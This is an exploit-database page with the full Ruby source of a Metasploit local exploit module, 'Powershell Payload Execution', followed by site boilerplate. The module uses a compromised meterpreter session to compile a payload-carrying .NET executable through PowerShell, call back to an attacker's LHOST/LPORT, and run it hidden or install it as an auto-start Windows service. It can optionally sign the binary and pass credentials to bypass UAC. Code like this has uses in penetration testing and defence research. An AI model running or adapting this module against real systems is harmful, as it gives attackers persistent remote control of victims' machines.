Lucene search
K

Powershell Payload Execution Exploit

🗓️ 11 Oct 2016 00:00:00Reported by Matt AndrekoType 
zdt
 zdt
🔗 0day.today👁 22 Views

This module generates a dynamic executable using .NET templates in a PowerShell session, allowing for building, starting, installing, and signing the executable

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Powershell::DotNet
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Powershell Payload Execution",
      'Description'          => %q{
        This module generates a dynamic executable on the session host using .NET templates.
        Code is pulled from C# templates and impregnated with a payload before being
        sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
        the executable (standard or Windows service) in memory and produces a binary
        which can be started/installed and downloaded for later use. After compilation the
        PoweShell session can also sign the executable if provided a path the a .pfx formatted
        certificate.
      },
      'License'              => MSF_LICENSE,
      'Author'               => [
        'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
        'Matt "hostess" Andreko' # .NET harness, and requested modifications
      ],

      'Payload'        =>
        {
          'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
        {
          'BufferRegister' => 'EAX',
        },
      },
      'Platform'      => [ 'windows' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets' => [ [ 'Universal', {} ] ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Aug 14 2012'

    ))

    register_options(
      [
        OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
        OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
        OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
        OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
        OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),

      ], self.class)

    register_advanced_options(
      [
        OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
        OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
        OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
        OptString.new('USERNAME', [false, 'Windows username']),
        OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
        OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),

      ], self.class)

  end

  def exploit

    # Make sure we meet the requirements before running the script
    if !(session.type == "meterpreter" || have_powershell?)
      print_error("Incompatible Environment")
      return
    end
    # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
    if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
      print_error("Cannot run as system")
      return
    end

    # End of file marker
    eof = Rex::Text.rand_text_alpha(8)
    env_suffix = Rex::Text.rand_text_alpha(8)

    com_opts = {}
    com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
    com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
    com_opts[:payload] = payload_script #payload.encoded
    vprint_good com_opts[:payload].length.to_s

    if datastore['SVC_GEN']
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
      com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
    else
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
    end

    com_opts[:cert] = datastore['CERT_PATH']

    if datastore['SVC_REMOVE']
      remove_dyn_service(com_opts[:target])
      return
    end
    vprint_good("Writing to #{com_opts[:target]}")

    com_script = dot_net_compiler(com_opts)
    ps_out = psh_exec(com_script)

    if datastore['Powershell::Post::dry_run']
      print_good com_script
      print_error ps_out
      return
    end
    # Check for result
    begin
      size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
      vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
    rescue
      print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
      return
    end

    # Run the harness
    if datastore['START_APP']
      if datastore['SVC_GEN']
        service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
        if service_start(datastore['SVC_NAME']).to_i == 0
          vprint_good("Service Started")
        end
      else
        session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
      end
    end


    print_good('Finished!')
  end


  # This should be handled by the exploit mixin, right?
  def payload_script
    pay_mod = framework.payloads.create(datastore['PAYLOAD'])
    payload = pay_mod.generate_simple(
      "BadChars"    => '',
      "Format"      => 'raw',
      "Encoder"     => 'x86/alpha_mixed',
      "ForceEncode" => true,
      "Options" =>
       {
        'LHOST' => datastore['LHOST'],
        'LPORT' => datastore['LPORT'],
        'EXITFUNC' => 'thread',
        'BufferRegister' => 'EAX'
      },
    )

    # To ensure compatibility out payload should be US-ASCII
    return payload.encode('ASCII')
  end

  # Local service functionality should probably be replaced with upstream Post
  def remove_dyn_service(file_path)
    service_stop(datastore['SVC_NAME'])
    if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
      vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
      session.fs.file.rm(file_path.gsub('\\','\\\\'))
    else
      print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
    end
    return
  end

  def install_dyn_service(file_path)

    service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
    if service_start(datastore['SVC_NAME']).to_i == 0
      vprint_good("Service Binary #{file_path} Started")
    end
  end

end

#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation